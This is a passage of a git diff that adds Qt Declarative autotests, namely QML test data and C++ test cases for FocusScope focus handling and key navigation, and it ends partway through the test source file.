+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-flipable.qml"));
+ QDeclarativeFlipable *obj = qobject_cast<QDeclarativeFlipable*>(c.create());
+
+ QVERIFY(obj != 0);
+ QVERIFY(obj->front() != 0);
+ QVERIFY(obj->back() != 0);
+
+ QString message = c.url().toString() + ":3:1: QML Flipable: front is a write-once property";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(message));
+ obj->setFront(new QDeclarativeRectangle());
+
+ message = c.url().toString() + ":3:1: QML Flipable: back is a write-once property";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(message));
+ obj->setBack(new QDeclarativeRectangle());
+ delete obj;
+}
+
+void tst_qdeclarativeflipable::QTBUG_9161_crash()
+{
+ QDeclarativeView *canvas = new QDeclarativeView;
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/crash.qml"));
+ QGraphicsObject *root = canvas->rootObject();
+ QVERIFY(root != 0);
+ canvas->show();
+ delete canvas;
+}
+
+void tst_qdeclarativeflipable::QTBUG_8474_qgv_abort()
+{
+ QDeclarativeView *canvas = new QDeclarativeView;
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/flipable-abort.qml"));
+ QGraphicsObject *root = canvas->rootObject();
+ QVERIFY(root != 0);
+ canvas->show();
+ delete canvas;
+}
+
+QTEST_MAIN(tst_qdeclarativeflipable)
+
+#include "tst_qdeclarativeflipable.moc"
diff --git a/tests/auto/declarative/qdeclarativefocusscope/data/chain.qml b/tests/auto/declarative/qdeclarativefocusscope/data/chain.qml
new file mode 100644
index 00000000..a40bc2cd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefocusscope/data/chain.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: root
+ width:300; height:400
+
+ property bool focus1: root.activeFocus
+ property bool focus2: item1.activeFocus
+ property bool focus3: fs1.activeFocus
+ property bool focus4: fs2.activeFocus
+ property bool focus5: theItem.activeFocus
+
+ Item {
+ id: item1
+ FocusScope {
+ id: fs1
+ focus: true
+ FocusScope {
+ id: fs2
+ focus: true
+ Item {
+ id: theItem
+ focus: true
+ }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativefocusscope/data/forceActiveFocus.qml b/tests/auto/declarative/qdeclarativefocusscope/data/forceActiveFocus.qml
new file mode 100644
index 00000000..6c39d4a4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefocusscope/data/forceActiveFocus.qml
@@ -0,0 +1,26 @@
+import QtQuick 1.0
+
+Rectangle {
+ objectName: "root"
+ FocusScope {
+ objectName: "scope"
+ Item {
+ objectName: "item-a1"
+ FocusScope {
+ objectName: "scope-a"
+ Item {
+ objectName: "item-a2"
+ }
+ }
+ }
+ Item {
+ objectName: "item-b1"
+ FocusScope {
+ objectName: "scope-b"
+ Item {
+ objectName: "item-b2"
+ }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativefocusscope/data/forcefocus.qml b/tests/auto/declarative/qdeclarativefocusscope/data/forcefocus.qml
new file mode 100644
index 00000000..708e8991
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefocusscope/data/forcefocus.qml
@@ -0,0 +1,81 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 800; height: 600
+
+ FocusScope {
+ focus: true
+
+ FocusScope {
+ id: firstScope
+ objectName: "item0"
+ focus: true
+
+ Rectangle {
+ height: 120; width: 420
+
+ color: "transparent"
+ border.width: 5; border.color: firstScope.activeFocus?"blue":"black"
+
+ Rectangle {
+ id: item1; objectName: "item1"
+ x: 10; y: 10; width: 100; height: 100; color: "green"
+ border.width: 5; border.color: activeFocus?"blue":"black"
+ focus: true
+
+ Rectangle {
+ width: 50; height: 50; anchors.centerIn: parent
+ color: parent.activeFocus?"red":"transparent"
+ }
+ }
+
+ Rectangle {
+ id: item2; objectName: "item2"
+ x: 310; y: 10; width: 100; height: 100; color: "green"
+ border.width: 5; border.color: activeFocus?"blue":"black"
+
+ Rectangle {
+ width: 50; height: 50; anchors.centerIn: parent
+ color: parent.activeFocus?"red":"transparent"
+ }
+ }
+ }
+ }
+
+ FocusScope {
+ id: secondScope
+ objectName: "item3"
+
+ Rectangle {
+ y: 160; height: 120; width: 420
+
+ color: "transparent"
+ border.width: 5; border.color: secondScope.activeFocus?"blue":"black"
+
+ Rectangle {
+ id: item4; objectName: "item4"
+ x: 10; y: 10; width: 100; height: 100; color: "green"
+ border.width: 5; border.color: activeFocus?"blue":"black"
+
+ Rectangle {
+ width: 50; height: 50; anchors.centerIn: parent
+ color: parent.activeFocus?"red":"transparent"
+ }
+ }
+
+ Rectangle {
+ id: item5; objectName: "item5"
+ x: 310; y: 10; width: 100; height: 100; color: "green"
+ border.width: 5; border.color: activeFocus?"blue":"black"
+
+ Rectangle {
+ width: 50; height: 50; anchors.centerIn: parent
+ color: parent.activeFocus?"red":"transparent"
+ }
+ }
+ }
+ }
+ }
+ Keys.onDigit4Pressed: item4.focus = true
+ Keys.onDigit5Pressed: item5.forceActiveFocus()
+}
diff --git a/tests/auto/declarative/qdeclarativefocusscope/data/qtBug13380.qml b/tests/auto/declarative/qdeclarativefocusscope/data/qtBug13380.qml
new file mode 100644
index 00000000..1784202e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefocusscope/data/qtBug13380.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 400
+
+ property bool showRect: false
+ onShowRectChanged: if (showRect) rect.visible = true
+ property bool noFocus: !fs2.activeFocus
+
+ FocusScope {
+ id: fs1
+ focus: true
+ }
+ Rectangle {
+ id: rect
+ visible: false
+ FocusScope {
+ id: fs2
+ Rectangle {
+ focus: true
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativefocusscope/data/signalEmission.qml b/tests/auto/declarative/qdeclarativefocusscope/data/signalEmission.qml
new file mode 100644
index 00000000..58507917
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefocusscope/data/signalEmission.qml
@@ -0,0 +1,33 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 200
+ height: 200
+
+ FocusScope {
+ focus: true
+ Rectangle {
+ objectName: "item1"
+ color: "blue"
+ onFocusChanged: focus ? color = "red" : color = "blue"
+ }
+ Rectangle {
+ objectName: "item2"
+ color: "blue"
+ onFocusChanged: focus ? color = "red" : color = "blue"
+ }
+ }
+
+ FocusScope {
+ Rectangle {
+ objectName: "item3"
+ color: "blue"
+ onFocusChanged: focus ? color = "red" : color = "blue"
+ }
+ Rectangle {
+ objectName: "item4"
+ color: "blue"
+ onFocusChanged: focus ? color = "red" : color = "blue"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativefocusscope/data/test.qml b/tests/auto/declarative/qdeclarativefocusscope/data/test.qml
new file mode 100644
index 00000000..5983c190
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefocusscope/data/test.qml
@@ -0,0 +1,77 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "white"
+ width: 800
+ height: 600
+
+ Keys.onDigit9Pressed: console.log("Error - Root")
+
+ FocusScope {
+ id: myScope
+ objectName: "item0"
+ focus: true
+
+ Keys.onDigit9Pressed: console.log("Error - FocusScope")
+
+ Rectangle {
+ height: 120
+ width: 420
+
+ color: "transparent"
+ border.width: 5
+ border.color: myScope.activeFocus?"blue":"black"
+
+ Rectangle {
+ id: item1; objectName: "item1"
+ x: 10; y: 10
+ width: 100; height: 100; color: "green"
+ border.width: 5
+ border.color: activeFocus?"blue":"black"
+ Keys.onDigit9Pressed: console.debug("Top Left");
+ KeyNavigation.right: item2
+ focus: true
+
+ Rectangle {
+ width: 50; height: 50; anchors.centerIn: parent
+ color: parent.activeFocus?"red":"transparent"
+ }
+ }
+
+ Rectangle {
+ id: item2; objectName: "item2"
+ x: 310; y: 10
+ width: 100; height: 100; color: "green"
+ border.width: 5
+ border.color: activeFocus?"blue":"black"
+ KeyNavigation.left: item1
+ Keys.onDigit9Pressed: console.log("Top Right");
+
+ Rectangle {
+ width: 50; height: 50; anchors.centerIn: parent
+ color: parent.activeFocus?"red":"transparent"
+ }
+ }
+ }
+ KeyNavigation.down: item3
+ }
+
+ Text { x:100; y:170; text: "Blue border indicates scoped focus\nBlack border indicates NOT scoped focus\nRed box indicates active focus\nUse arrow keys to navigate\nPress \"9\" to print currently focused item" }
+
+ Rectangle {
+ id: item3; objectName: "item3"
+ x: 10; y: 300
+ width: 100; height: 100; color: "green"
+ border.width: 5
+ border.color: activeFocus?"blue":"black"
+
+ Keys.onDigit9Pressed: console.log("Bottom Left");
+ KeyNavigation.up: myScope
+
+ Rectangle {
+ width: 50; height: 50; anchors.centerIn: parent
+ color: parent.activeFocus?"red":"transparent"
+ }
+ }
+
+}
diff --git a/tests/auto/declarative/qdeclarativefocusscope/data/test2.qml b/tests/auto/declarative/qdeclarativefocusscope/data/test2.qml
new file mode 100644
index 00000000..8c0b3b42
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefocusscope/data/test2.qml
@@ -0,0 +1,39 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "white"
+ width: 800
+ height: 600
+
+ Text { text: "All five rectangles should be red" }
+
+ FocusScope {
+ y: 100
+ focus: true; objectName: "item1"
+ Rectangle { width: 50; height: 50; color: parent.activeFocus?"red":"blue" }
+
+ FocusScope {
+ y: 100
+ focus: true; objectName: "item2"
+ Rectangle { width: 50; height: 50; color: parent.activeFocus?"red":"blue" }
+
+ FocusScope {
+ y: 100
+ focus: true; objectName: "item3"
+ Rectangle { width: 50; height: 50; color: parent.activeFocus?"red":"blue" }
+
+ FocusScope {
+ y: 100
+ focus: true; objectName: "item4"
+ Rectangle { width: 50; height: 50; color: parent.activeFocus?"red":"blue" }
+
+ FocusScope {
+ y: 100
+ focus: true; objectName: "item5"
+ Rectangle { width: 50; height: 50; color: parent.activeFocus?"red":"blue" }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativefocusscope/data/test3.qml b/tests/auto/declarative/qdeclarativefocusscope/data/test3.qml
new file mode 100644
index 00000000..2e025cb6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefocusscope/data/test3.qml
@@ -0,0 +1,52 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "white"
+ width: 800
+ height: 600
+
+ ListModel {
+ id: model
+ ListElement { name: "1" }
+ ListElement { name: "2" }
+ ListElement { name: "3" }
+ ListElement { name: "4" }
+ ListElement { name: "5" }
+ ListElement { name: "6" }
+ ListElement { name: "7" }
+ ListElement { name: "8" }
+ ListElement { name: "9" }
+ }
+
+ Component {
+ id: verticalDelegate
+ FocusScope {
+ id: root
+ width: 50; height: 50;
+ Keys.onDigit9Pressed: console.log("Error - " + name)
+ Rectangle {
+ focus: true
+ Keys.onDigit9Pressed: console.log(name)
+ width: 50; height: 50;
+ color: root.ListView.isCurrentItem?"red":"green"
+ Text { text: name; anchors.centerIn: parent }
+ }
+ }
+ }
+
+ ListView {
+ width: 800; height: 50; orientation: "Horizontal"
+ focus: true
+ model: model
+ delegate: verticalDelegate
+ preferredHighlightBegin: 100
+ preferredHighlightEnd: 100
+ highlightRangeMode: "StrictlyEnforceRange"
+ }
+
+
+ Text {
+ y: 100; x: 50
+ text: "Currently selected element should be red\nPressing \"9\" should print the number of the currently selected item\nBe sure to scroll all the way to the right, pause, and then all the way to the left."
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativefocusscope/data/test4.qml b/tests/auto/declarative/qdeclarativefocusscope/data/test4.qml
new file mode 100644
index 00000000..7192dee6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefocusscope/data/test4.qml
@@ -0,0 +1,76 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "white"
+ width: 800
+ height: 600
+
+ Keys.onDigit9Pressed: console.log("Error - Root")
+
+ FocusScope {
+ id: myScope
+
+ Keys.onDigit9Pressed: console.log("Error - FocusScope")
+
+ Rectangle {
+ objectName: "item0"
+ height: 120
+ width: 420
+
+ color: "transparent"
+ border.width: 5
+ border.color: myScope.activeFocus?"blue":"black"
+
+ Rectangle {
+ id: item1; objectName: "item1"
+ x: 10; y: 10
+ width: 100; height: 100; color: "green"
+ border.width: 5
+ border.color: activeFocus?"blue":"black"
+ Keys.onDigit9Pressed: console.log("Error - Top Left");
+ KeyNavigation.right: item2
+ focus: true
+
+ Rectangle {
+ width: 50; height: 50; anchors.centerIn: parent
+ color: parent.activeFocus?"red":"transparent"
+ }
+ }
+
+ Rectangle {
+ id: item2; objectName: "item2"
+ x: 310; y: 10
+ width: 100; height: 100; color: "green"
+ border.width: 5
+ border.color: activeFocus?"blue":"black"
+ KeyNavigation.left: item1
+ Keys.onDigit9Pressed: console.log("Error - Top Right");
+
+ Rectangle {
+ width: 50; height: 50; anchors.centerIn: parent
+ color: parent.activeFocus?"red":"transparent"
+ }
+ }
+ }
+ KeyNavigation.down: item3
+ }
+
+ Text { x:100; y:170; text: "There should be no blue borders, or red squares.\nPressing \"9\" should do nothing.\nArrow keys should have no effect." }
+
+ Rectangle {
+ id: item3; objectName: "item3"
+ x: 10; y: 300
+ width: 100; height: 100; color: "green"
+ border.width: 5
+ border.color: activeFocus?"blue":"black"
+
+ Keys.onDigit9Pressed: console.log("Error - Bottom Left");
+ KeyNavigation.up: myScope
+
+ Rectangle {
+ width: 50; height: 50; anchors.centerIn: parent
+ color: parent.activeFocus?"red":"transparent"
+ }
+ }
+
+}
diff --git a/tests/auto/declarative/qdeclarativefocusscope/data/test5.qml b/tests/auto/declarative/qdeclarativefocusscope/data/test5.qml
new file mode 100644
index 00000000..01dada5d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefocusscope/data/test5.qml
@@ -0,0 +1,84 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "white"
+ width: 800
+ height: 600
+
+ Keys.onReturnPressed: console.log("Error - Root")
+
+ FocusScope {
+ id: myScope
+ objectName: "item0"
+ focus: true
+
+ Keys.onReturnPressed: console.log("Error - FocusScope")
+
+ Rectangle {
+ height: 120
+ width: 420
+
+ color: "transparent"
+ border.width: 5
+ border.color: myScope.activeFocus?"blue":"black"
+
+ Rectangle {
+ x: 10; y: 10
+ width: 100; height: 100; color: "green"
+ border.width: 5
+ border.color: item1.activeFocus?"blue":"black"
+ }
+
+ TextEdit {
+ id: item1; objectName: "item1"
+ x: 20; y: 20
+ width: 90; height: 90
+ color: "white"
+ font.pixelSize: 20
+ Keys.onReturnPressed: console.log("Top Left");
+ KeyNavigation.right: item2
+ focus: true
+ wrapMode: TextEdit.WordWrap
+ text: "Box 1"
+ }
+
+ Rectangle {
+ id: item2; objectName: "item2"
+ x: 310; y: 10
+ width: 100; height: 100; color: "green"
+ border.width: 5
+ border.color: activeFocus?"blue":"black"
+ KeyNavigation.left: item1
+ Keys.onReturnPressed: console.log("Top Right");
+
+ Rectangle {
+ width: 50; height: 50; anchors.centerIn: parent
+ color: parent.activeFocus?"red":"transparent"
+ }
+ }
+ }
+ KeyNavigation.down: item3
+ }
+
+ Text { x:100; y:170; text: "Blue border indicates scoped focus\nBlack border indicates NOT scoped focus\nRed box or flashing cursor indicates active focus\nUse arrow keys to navigate\nPress Ctrl-Return to print currently focused item" }
+
+ Rectangle {
+ x: 10; y: 300
+ width: 100; height: 100; color: "green"
+ border.width: 5
+ border.color: item3.activeFocus?"blue":"black"
+ }
+
+ TextEdit {
+ id: item3; objectName: "item3"
+ x: 20; y: 310
+ width: 90; height: 90
+ color: "white"
+ font.pixelSize: 20
+ text: "Box 3"
+
+ Keys.onReturnPressed: console.log("Bottom Left");
+ KeyNavigation.up: myScope
+ wrapMode: TextEdit.WordWrap
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativefocusscope/qdeclarativefocusscope.pro b/tests/auto/declarative/qdeclarativefocusscope/qdeclarativefocusscope.pro
new file mode 100644
index 00000000..eab983ff
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefocusscope/qdeclarativefocusscope.pro
@@ -0,0 +1,13 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+SOURCES += tst_qdeclarativefocusscope.cpp
+macx:CONFIG -= app_bundle
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
diff --git a/tests/auto/declarative/qdeclarativefocusscope/tst_qdeclarativefocusscope.cpp b/tests/auto/declarative/qdeclarativefocusscope/tst_qdeclarativefocusscope.cpp
new file mode 100644
index 00000000..78aa5a9e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativefocusscope/tst_qdeclarativefocusscope.cpp
@@ -0,0 +1,546 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QSignalSpy>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <private/qdeclarativerectangle_p.h>
+#include <private/qdeclarativetextedit_p.h>
+#include <private/qdeclarativetext_p.h>
+#include <QtDeclarative/private/qdeclarativefocusscope_p.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativefocusscope : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativefocusscope() {}
+
+ template<typename T>
+ T *findItem(QGraphicsObject *parent, const QString &id);
+
+private slots:
+ void basic();
+ void nested();
+ void noFocus();
+ void textEdit();
+ void forceFocus();
+ void noParentFocus();
+ void signalEmission();
+ void qtBug13380();
+ void forceActiveFocus();
+};
+
+/*
+ Find an item with the specified id.
+*/
+template<typename T>
+T *tst_qdeclarativefocusscope::findItem(QGraphicsObject *parent, const QString &objectName)
+{
+ const QMetaObject &mo = T::staticMetaObject;
+ QList<QGraphicsItem *> children = parent->childItems();
+ for (int i = 0; i < children.count(); ++i) {
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem *>(children.at(i)->toGraphicsObject());
+ if (item) {
+ if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) {
+ return static_cast<T*>(item);
+ }
+ item = findItem<T>(item, objectName);
+ if (item)
+ return static_cast<T*>(item);
+ }
+ }
+ return 0;
+}
+
+void tst_qdeclarativefocusscope::basic()
+{
+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/test.qml"));
+
+ QDeclarativeFocusScope *item0 = findItem<QDeclarativeFocusScope>(view->rootObject(), QLatin1String("item0"));
+ QDeclarativeRectangle *item1 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item1"));
+ QDeclarativeRectangle *item2 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item2"));
+ QDeclarativeRectangle *item3 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item3"));
+ QVERIFY(item0 != 0);
+ QVERIFY(item1 != 0);
+ QVERIFY(item2 != 0);
+ QVERIFY(item3 != 0);
+
+ view->show();
+ qApp->setActiveWindow(view);
+ qApp->processEvents();
+
+#ifdef Q_WS_X11
+ // to be safe and avoid failing setFocus with window managers
+ qt_x11_wait_for_window_manager(view);
+#endif
+
+ QVERIFY(view->hasFocus());
+ QVERIFY(view->scene()->hasFocus());
+ QVERIFY(item0->hasActiveFocus() == true);
+ QVERIFY(item1->hasActiveFocus() == true);
+ QVERIFY(item2->hasActiveFocus() == false);
+ QVERIFY(item3->hasActiveFocus() == false);
+
+ QTest::keyClick(view, Qt::Key_Right);
+ QVERIFY(item0->hasActiveFocus() == true);
+ QVERIFY(item1->hasActiveFocus() == false);
+ QVERIFY(item2->hasActiveFocus() == true);
+ QVERIFY(item3->hasActiveFocus() == false);
+
+ QTest::keyClick(view, Qt::Key_Down);
+ QVERIFY(item0->hasActiveFocus() == false);
+ QVERIFY(item1->hasActiveFocus() == false);
+ QVERIFY(item2->hasActiveFocus() == false);
+ QVERIFY(item3->hasActiveFocus() == true);
+
+ delete view;
+}
+
+void tst_qdeclarativefocusscope::nested()
+{
+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/test2.qml"));
+
+ QDeclarativeFocusScope *item1 = findItem<QDeclarativeFocusScope>(view->rootObject(), QLatin1String("item1"));
+ QDeclarativeFocusScope *item2 = findItem<QDeclarativeFocusScope>(view->rootObject(), QLatin1String("item2"));
+ QDeclarativeFocusScope *item3 = findItem<QDeclarativeFocusScope>(view->rootObject(), QLatin1String("item3"));
+ QDeclarativeFocusScope *item4 = findItem<QDeclarativeFocusScope>(view->rootObject(), QLatin1String("item4"));
+ QDeclarativeFocusScope *item5 = findItem<QDeclarativeFocusScope>(view->rootObject(), QLatin1String("item5"));
+ QVERIFY(item1 != 0);
+ QVERIFY(item2 != 0);
+ QVERIFY(item3 != 0);
+ QVERIFY(item4 != 0);
+ QVERIFY(item5 != 0);
+
+ view->show();
+ qApp->setActiveWindow(view);
+ qApp->processEvents();
+
+#ifdef Q_WS_X11
+ // to be safe and avoid failing setFocus with window managers
+ qt_x11_wait_for_window_manager(view);
+#endif
+
+ QVERIFY(view->hasFocus());
+ QVERIFY(view->scene()->hasFocus());
+
+ QVERIFY(item1->hasActiveFocus() == true);
+ QVERIFY(item2->hasActiveFocus() == true);
+ QVERIFY(item3->hasActiveFocus() == true);
+ QVERIFY(item4->hasActiveFocus() == true);
+ QVERIFY(item5->hasActiveFocus() == true);
+ delete view;
+}
+
+void tst_qdeclarativefocusscope::noFocus()
+{
+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/test4.qml"));
+
+ QDeclarativeRectangle *item0 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item0"));
+ QDeclarativeRectangle *item1 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item1"));
+ QDeclarativeRectangle *item2 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item2"));
+ QDeclarativeRectangle *item3 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item3"));
+ QVERIFY(item0 != 0);
+ QVERIFY(item1 != 0);
+ QVERIFY(item2 != 0);
+ QVERIFY(item3 != 0);
+
+ view->show();
+ qApp->setActiveWindow(view);
+ qApp->processEvents();
+
+#ifdef Q_WS_X11
+ // to be safe and avoid failing setFocus with window managers
+ qt_x11_wait_for_window_manager(view);
+#endif
+
+ QVERIFY(view->hasFocus());
+ QVERIFY(view->scene()->hasFocus());
+ QVERIFY(item0->hasActiveFocus() == false);
+ QVERIFY(item1->hasActiveFocus() == false);
+ QVERIFY(item2->hasActiveFocus() == false);
+ QVERIFY(item3->hasActiveFocus() == false);
+
+ QTest::keyClick(view, Qt::Key_Right);
+ QVERIFY(item0->hasActiveFocus() == false);
+ QVERIFY(item1->hasActiveFocus() == false);
+ QVERIFY(item2->hasActiveFocus() == false);
+ QVERIFY(item3->hasActiveFocus() == false);
+
+ QTest::keyClick(view, Qt::Key_Down);
+ QVERIFY(item0->hasActiveFocus() == false);
+ QVERIFY(item1->hasActiveFocus() == false);
+ QVERIFY(item2->hasActiveFocus() == false);
+ QVERIFY(item3->hasActiveFocus() == false);
+
+ delete view;
+}
+
+void tst_qdeclarativefocusscope::textEdit()
+{
+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/test5.qml"));
+
+ QDeclarativeFocusScope *item0 = findItem<QDeclarativeFocusScope>(view->rootObject(), QLatin1String("item0"));
+ QDeclarativeTextEdit *item1 = findItem<QDeclarativeTextEdit>(view->rootObject(), QLatin1String("item1"));
+ QDeclarativeRectangle *item2 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item2"));
+ QDeclarativeTextEdit *item3 = findItem<QDeclarativeTextEdit>(view->rootObject(), QLatin1String("item3"));
+ QVERIFY(item0 != 0);
+ QVERIFY(item1 != 0);
+ QVERIFY(item2 != 0);
+ QVERIFY(item3 != 0);
+
+ view->show();
+ qApp->setActiveWindow(view);
+ qApp->processEvents();
+
+#ifdef Q_WS_X11
+ // to be safe and avoid failing setFocus with window managers
+ qt_x11_wait_for_window_manager(view);
+#endif
+
+ QVERIFY(view->hasFocus());
+ QVERIFY(view->scene()->hasFocus());
+ QVERIFY(item0->hasActiveFocus() == true);
+ QVERIFY(item1->hasActiveFocus() == true);
+ QVERIFY(item2->hasActiveFocus() == false);
+ QVERIFY(item3->hasActiveFocus() == false);
+
+ QTest::keyClick(view, Qt::Key_Right);
+ QVERIFY(item0->hasActiveFocus() == true);
+ QVERIFY(item1->hasActiveFocus() == true);
+ QVERIFY(item2->hasActiveFocus() == false);
+ QVERIFY(item3->hasActiveFocus() == false);
+
+ QTest::keyClick(view, Qt::Key_Right);
+ QTest::keyClick(view, Qt::Key_Right);
+ QTest::keyClick(view, Qt::Key_Right);
+ QTest::keyClick(view, Qt::Key_Right);
+ QTest::keyClick(view, Qt::Key_Right);
+ QVERIFY(item0->hasActiveFocus() == true);
+ QVERIFY(item1->hasActiveFocus() == false);
+ QVERIFY(item2->hasActiveFocus() == true);
+ QVERIFY(item3->hasActiveFocus() == false);
+
+ QTest::keyClick(view, Qt::Key_Down);
+ QVERIFY(item0->hasActiveFocus() == false);
+ QVERIFY(item1->hasActiveFocus() == false);
+ QVERIFY(item2->hasActiveFocus() == false);
+ QVERIFY(item3->hasActiveFocus() == true);
+
+ delete view;
+}
+
+void tst_qdeclarativefocusscope::forceFocus()
+{
+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/forcefocus.qml"));
+
+ QDeclarativeFocusScope *item0 = findItem<QDeclarativeFocusScope>(view->rootObject(), QLatin1String("item0"));
+ QDeclarativeRectangle *item1 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item1"));
+ QDeclarativeRectangle *item2 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item2"));
+ QDeclarativeFocusScope *item3 = findItem<QDeclarativeFocusScope>(view->rootObject(), QLatin1String("item3"));
+ QDeclarativeRectangle *item4 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item4"));
+ QDeclarativeRectangle *item5 = findItem<QDeclarativeRectangle>(view->rootObject(), QLatin1String("item5"));
+ QVERIFY(item0 != 0);
+ QVERIFY(item1 != 0);
+ QVERIFY(item2 != 0);
+ QVERIFY(item3 != 0);
+ QVERIFY(item4 != 0);
+ QVERIFY(item5 != 0);
+
+ view->show();
+ qApp->setActiveWindow(view);
+ qApp->processEvents();
+
+#ifdef Q_WS_X11
+ // to be safe and avoid failing setFocus with window managers
+ qt_x11_wait_for_window_manager(view);
+#endif
+
+ QVERIFY(view->hasFocus());
+ QVERIFY(view->scene()->hasFocus());
+ QVERIFY(item0->hasActiveFocus() == true);
+ QVERIFY(item1->hasActiveFocus() == true);
+ QVERIFY(item2->hasActiveFocus() == false);
+ QVERIFY(item3->hasActiveFocus() == false);
+ QVERIFY(item4->hasActiveFocus() == false);
+ QVERIFY(item5->hasActiveFocus() == false);
+
+ QTest::keyClick(view, Qt::Key_4);
+ QVERIFY(item0->hasActiveFocus() == true);
+ QVERIFY(item1->hasActiveFocus() == true);
+ QVERIFY(item2->hasActiveFocus() == false);
+ QVERIFY(item3->hasActiveFocus() == false);
+ QVERIFY(item4->hasActiveFocus() == false);
+ QVERIFY(item5->hasActiveFocus() == false);
+
+ QTest::keyClick(view, Qt::Key_5);
+ QVERIFY(item0->hasActiveFocus() == false);
+ QVERIFY(item1->hasActiveFocus() == false);
+ QVERIFY(item2->hasActiveFocus() == false);
+ QVERIFY(item3->hasActiveFocus() == true);
+ QVERIFY(item4->hasActiveFocus() == false);
+ QVERIFY(item5->hasActiveFocus() == true);
+
+ delete view;
+}
+
+void tst_qdeclarativefocusscope::noParentFocus()
+{
+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/chain.qml"));
+ QVERIFY(view->rootObject());
+
+ QVERIFY(view->rootObject()->property("focus1") == false);
+ QVERIFY(view->rootObject()->property("focus2") == false);
+ QVERIFY(view->rootObject()->property("focus3") == true);
+ QVERIFY(view->rootObject()->property("focus4") == true);
+ QVERIFY(view->rootObject()->property("focus5") == true);
+
+ delete view;
+}
+
+void tst_qdeclarativefocusscope::signalEmission()
+{
